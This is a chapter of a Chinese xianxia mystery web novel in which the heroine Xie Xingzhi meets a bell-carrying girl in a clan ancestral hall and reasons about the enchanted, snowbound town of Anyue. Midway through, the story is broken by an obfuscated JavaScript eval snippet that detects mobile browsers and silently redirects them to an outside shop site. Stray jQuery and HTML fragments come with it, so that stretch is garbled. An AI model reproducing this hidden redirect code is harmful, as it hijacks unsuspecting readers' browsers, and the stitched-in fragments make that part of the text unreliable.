“所以李叔出海是为了探望阿矜姐姐?”阿止听着他们二人谈论的内容,询问道。
“哈哈哈哈……”这一问,逗得二人都笑起来,李婶儿亲昵地抚了抚阿止的头顶,“不,她并未远嫁,就在咱们镇上。”
“中午的时候我可以带你上门,小辈大多喊她矜夫人。”
到了该用昼食的时候,李叔李婶儿依言带着阿止叩响了林府的大门。家仆见了来人,非常熟络地行礼,带路途中同李婶儿一路亲切地攀谈起来。
阿止则是在走廊中行进的时候,不动声色地观望周围的布景。
“叮铃——”
忽而,一声铛响在耳畔回荡,阿止循着声音望去,并没有看到人。
她蹙了蹙眉,又是一阵耳鸣,有些许烦躁地抚了一下眉心,状若无事地跟上。
待几人都离开走廊后,院落中间的枝繁叶茂的大树有了声响,一个小脑袋从其中探出来。那是一个头顶扎着两个丸子的小女孩,清亮的双眸一弯,此刻正坐在粗壮的一根枝丫上荡着双腿。
刚刚的铃铛声就来自她手上在把玩的一个挂件,那是一只活灵活现的云雀,底下系着一颗小巧的铃铛。
她有些狡黠地微笑,看着阿止的背影轻声道:“若是记起来了,便来寻我罢。”
“若是记不起,也不值得我寻。”
阿止见到李叔李婶儿口中的阿矜时,矜夫人正有些意外地听着他们对自己的介绍。她很温和地笑:“来者便是客,阿止姑娘既然来了,自然我是要好好款待的。”
“今日我丈夫和长生都不在家中,待他们过几日归家,我再向阿止姑娘介绍。”
李叔闻言反应很大:“这臭小子!竟还把长生带去了?”
矜夫人无奈地捂嘴笑了一下,看来是习惯了自己父亲一惊一乍的态度。
李婶儿又是大力拍了李叔一下:“什么话!阿止还在这,能不能别三番两次下你女婿的台!”
日正。待饭后,阿止见李叔李婶儿将矜夫人围在其中嘘寒问暖,李婶儿更是一副将矜夫人放在心尖尖的模样,便不打扰他们三人,悄无声息地出了房间。
她一路循着门廊向前走着,七弯八绕后,又经过了林家祠堂。她停在门前,只觉着耳鸣愈发严重,几乎对神识产生了强烈的眩晕。顶上两盏四角蟠螭灯笼高悬其上,周围只余雪花纷飞,并无旁人。
阿止敛眉,伸出了修长洁白的手搭在雕花木门上,不多用劲地一推——“吱呀”,门开了。
门内很简洁,同大多祠堂一般,只两个蒲垫,佛龛上摆放着列祖列宗的牌位。
房间不大,只一眼便可望尽。
她正打算合上木门时,身后有一股力量,推了她一把,力气并不大。但是她听见了不远处家仆的攀谈声,明了在这时被发现并不是好事,顺着这股力走了进去。
之所以这般,是因为她感受到了那股力的主人,是一个年纪并不大的孩子的手。同时,也是因为她动作时身上响起了一阵微弱的铃声。
她转头时,那孩子已经将木门紧密掩好,是个扎着丸子头的小女孩,她的腰上挂着一个系着铃铛的云雀挂件。
“你想起来了。”小女孩俏皮地一笑,并不在意阿止有什么动作,走向蒲团,直接坐在了上面。
阿止有些困惑地反问:“我忘了什么?”
小女孩明显一愣,诧异道:“你什么都不知道,你来此处祠堂做甚?”
阿止摇了摇头,直言:“我并没有来,只是迷失了方向,这才推错了门。”
小女孩哑口无言,回想起似乎确实是自己推她入内,原先阿止已经打算合好门。
她清亮的眼睛沉默地盯着阿止,突然知晓了什么一般露齿笑起来:“你骗我。如果真是这样,你一开始不会进来。你怕被发现,发现你想要进祠堂。”
“你若真的心怀坦荡,就不可能怕这一丝被怀疑的可能。”
小女孩竖起食指,比在口前做了个“嘘”的口型:“你放心,这里的一切,除了我们以外任何东西都不可能听到。”
同时祠堂外家仆攀谈的声音经过而后渐行渐远,似乎真的没有听到屋内的谈话声。
任何东西。
“只有一部分,是你让我想起来的。”于是,谢行止没有否认,那云雀挂件本就是她留的其中一条路,只不过未曾想居然会是她启用了。
“我是故意的。”小女孩换了个更舒服的姿势,盘腿坐在蒲团上,“虽然它相信你,但是我不能。”
“你要找的东西现在不在这。”
见谢行止若有所思,她有一下没一下晃着铃铛:“这里并不能久待,我们还不能互相信任。”
“这样吧,你替我做三件事。做得我满意的话,我便回答你的所有疑惑。”
“第一,抓到夜里敲门的鬼。”
“第二,走出这个镇子。”
“第三,找到这个镇子最特别的地方。”
她打开房门前,最后说了一句:“记住,多听多看,少说。”
谢行止随后跟出门,那小女孩已经不见了踪影。她沿着回廊走了两段路后,遇见了家仆,柔和知礼地致歉:自己出来不慎迷了路,烦请带路。
谢行止跟着家仆走回了前厅,远离祠堂后,那耳鸣渐弱,而后不再频繁。矜夫人仍在同父母攀谈,倒是没有什么察觉。
攀谈完,一同用过晚膳后。傍晚,随李婶李叔一同回府,雪地上共踏着碎琼乱玉,寒风夹杂雪色,二人热情又爽利地同谢行止攀谈,唠起了家常。
谢行止也就随之附和着,时不时搭上一句。但心中却在思索着其他事。
谢行止只想起了一部分的事情并非虚言,这其中就包括了自己和羲景是谁。
他们二人各自被算计,醒来自己仍在安月镇却被捏造了一段虚假的记忆——如此大费周章说明动手此人不论是出于何种目的,目前并不打算杀她。
谢行止冷静得盘算利弊,思索到一个答案。
暂时不动她,便是打算将二人逐个击破,那人若是对羲景动手,便不会再费心力去编排新的身份将他放在镇中。
由于偏远加上藏于深山,安月镇外来者甚少,倘若羲景也在,李婶李叔理应提及。
所以,羲景应当是不在镇中寄宿。
为确保猜想,可以再试探一番。
倘若羲景此时正在疲于与暗里那人缠斗,那此时便是行动的最好时机。
只要她的行为符合当前身份的逻辑,那人很难有精力起疑心。
如此,不去寻他才是良策。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306378|140286||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
羲景若能拖得更多时间,当下最要紧的便是找到这个镇子的蹊跷所在。
想到这,她暗自摩挲了一下那对小红灯笼耳饰。
想来是留给自己解开记忆的另一环。
这耳饰是羲景赠与的,但是定是从镇上所得。
谢行止脑海中闪过一个片段,少年背对灯火簪星曳月的身形,修长白皙的手伸向自己,摊开后掌心是一对配饰。
灯火,配饰。谢行止蹙眉思索,灵光乍现:
灯会。
灯会上猜对了灯谜,故而赢得了奖品。
“阿止妹子?” 李婶儿乐呵呵地出声,“想什么呢这么入神。”
“莫不是心上人?”
谢行止这才回神,温柔地摇头:“不是的婶婶,不过有些思乡。想着能否带些安月镇上的特产归家。”
李叔摸了摸胡子,有些苦恼道:“咱们这,特产嘛……”
“再过上六天便是灯会,若是阿止妹子那时候还在,倒是可以带些咱们这做的小玩意儿回去。”
再过上五六天?
谢行止道:“这灯会我家乡倒是也有,每年一到正月那天时很是热闹,以此贺祝辞岁迎新。
“没错没错,咱们这也是如此,李叔给你扎几个大红灯笼拎回家!”李叔自豪地拍起胸脯,一副尽包在我身上的模样。
“阿止一个姑娘家,怎么拿得了那些。”李婶翻了个白眼,颇有些无奈。
“听婶婶的,带些精巧的小玩意儿回去。”她挽上谢行止的手,笑眯眯地继续,“咱们镇子,就数王叔跟陈婶会做这些,到时候婶婶领着你去拿。”
“那就多谢婶婶。”谢行止低着头望着被挽着的手,感受着他人传递来的热量。尽管不习惯,但还是没有挣脱。
回到自己暂住的屋内,谢行止在靠窗的方桌边坐下,静静望着窗边,听着清脆的鸟鸣声。
永远的雪色满天,仿佛时间都会在此停止流逝。
这里不是原本的世界。
在攀谈后,她意识到了这件事。
它是怎么做到的?此处是幻境还是真的回到了六天前?
不,不是幻境。谢行止否定了自己的猜想。
编造幻境最重要的便是让入者沉浸其中不再发现,以至于黄粱梦里一命丧黄泉。
此处与先前有太多不同,自己遇见的人和事都大相径庭,太容易让自己察觉异样。
谢行止凝神静气,试图调动咒力,仍是感受不到天地间的灵气。万物寂寥,群山连绵下,好像真的连世间灵气都被阻绝。
是这天地没有了灵气,而不是用不了咒力。
这个阵眼定是需要消耗大量的灵气,进行着朝而复始的循环。
设这个阵法的人,一定有着不容小觑的咒力。
那日同自己交手的白骨,显然不足以支撑起这个阵法。
背后那人才是真正值得警惕之人。
不过一个小小的安月镇,竟然暗流涌动,究竟布局的人有什么目的。
更关键的是,这布局之人与那白骨看来并非一道心思。
谢行止摸出了衣袖的东西,翻掌而上——掌中是数十张完整的符箓。
否则,定不会偷了她的百鬼令,却给她留着这些。